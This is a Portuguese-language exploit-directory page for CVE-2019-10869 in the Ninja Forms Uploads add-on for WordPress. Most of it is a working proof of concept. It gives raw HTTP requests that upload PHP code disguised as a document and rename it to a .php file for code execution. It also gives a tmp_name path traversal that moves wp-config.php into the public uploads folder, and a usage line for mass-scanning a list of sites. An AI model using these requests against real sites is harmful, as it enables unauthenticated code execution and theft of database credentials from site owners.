Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-10869 — (Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Upload Arbitrário de Arquivos sem Autenticação | Kitploit
Ferramentas/GitHubGitHub/ktn1990/cve-2019-10869
Geração de PayloadsAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubktn1990/cve-2019-10869

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Upload Arbitrário de Arquivos sem Autenticação

Ver Repositório
1666há 7 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Upload Arbitrário de Arquivo Não Autenticado

Descrição:

Path Traversal e Upload Irrestrito de Arquivos existem no plugin Ninja Forms antes da versão 3.0.23 para WordPress (quando o add-on Uploads está ativado). Isso permite que um invasor percorra o sistema de arquivos para acessar arquivos e executar código por meio dos parâmetros name e tmp_name em includes/fields/upload.php (também conhecida como página upload/submit).

POC:

Solicitação inicial de upload de arquivo:

Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522

-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"

1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"

5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"

0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword

<?php phpinfo(); ?>
-----------------------------16345274557837--

Resposta:

HTTP/1.1 200 OK
Server: nginx/1.14.0 

"data":{  
    "files":[  
       {  
          "name":"test.png.doc",
          "type":"application\/msword",
          "tmp_name":"nftmp-14FpD-test.png.doc",
          "error":0,
          "size":19
       }
    ]
 }

Quando o formulário é enviado, o arquivo tmp inicialmente carregado é movido para um novo local:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.(php)",
       "tmp_name":"nftmp-BNxfG-test.png.doc",
       "fieldID":5
    }
 ]
--snip--

O parâmetro “name” é então “sanitizado” pela função do WordPress sanitize_file_name, que essencialmente apenas remove um conjunto de caracteres especiais predefinidos:

ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file)); 

sanitize_file_name 
Removes special characters that are illegal in filenames  
on certain operating systems and special characters 
requiring special escaping to manipulate at the command line. 
Replaces spaces and consecutive dashes with a single dash.  
Trims period, dash and underscore from beginning and end of filename.  
It is not guaranteed that this function will return a filename 
that is allowed to be uploaded. 

https://developer.wordpress.org/reference/functions/sanitize_file_name/ 

Isso resulta na movimentação do arquivo tmp para seu local final: /wp-content/uploads/ninja-forms/1/test.php

Se a pasta de upload não foi explicitamente tornada não executável, o que não é o caso por padrão, isso resulta em execução de código:

alt text

Path Traversal em tmp_name:

ao enviar o formulário, também é possível percorrer o sistema de arquivos por meio do parâmetro tmp_name, como mostrado abaixo. Tenha em mente que os arquivos tmp são movidos para seu novo local dentro da pasta uploads!

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.doc",
       "tmp_name":"../../../../wp-config.php",
       "fieldID":5
    }
 ]
--snip--

Isso resulta na movimentação do arquivo wp-config.php para o seguinte local: /wp-content/uploads/ninja-forms/1/test.doc

AUTOSCAN:

USAGE: python script.py list-site.txt
Baixar ferramenta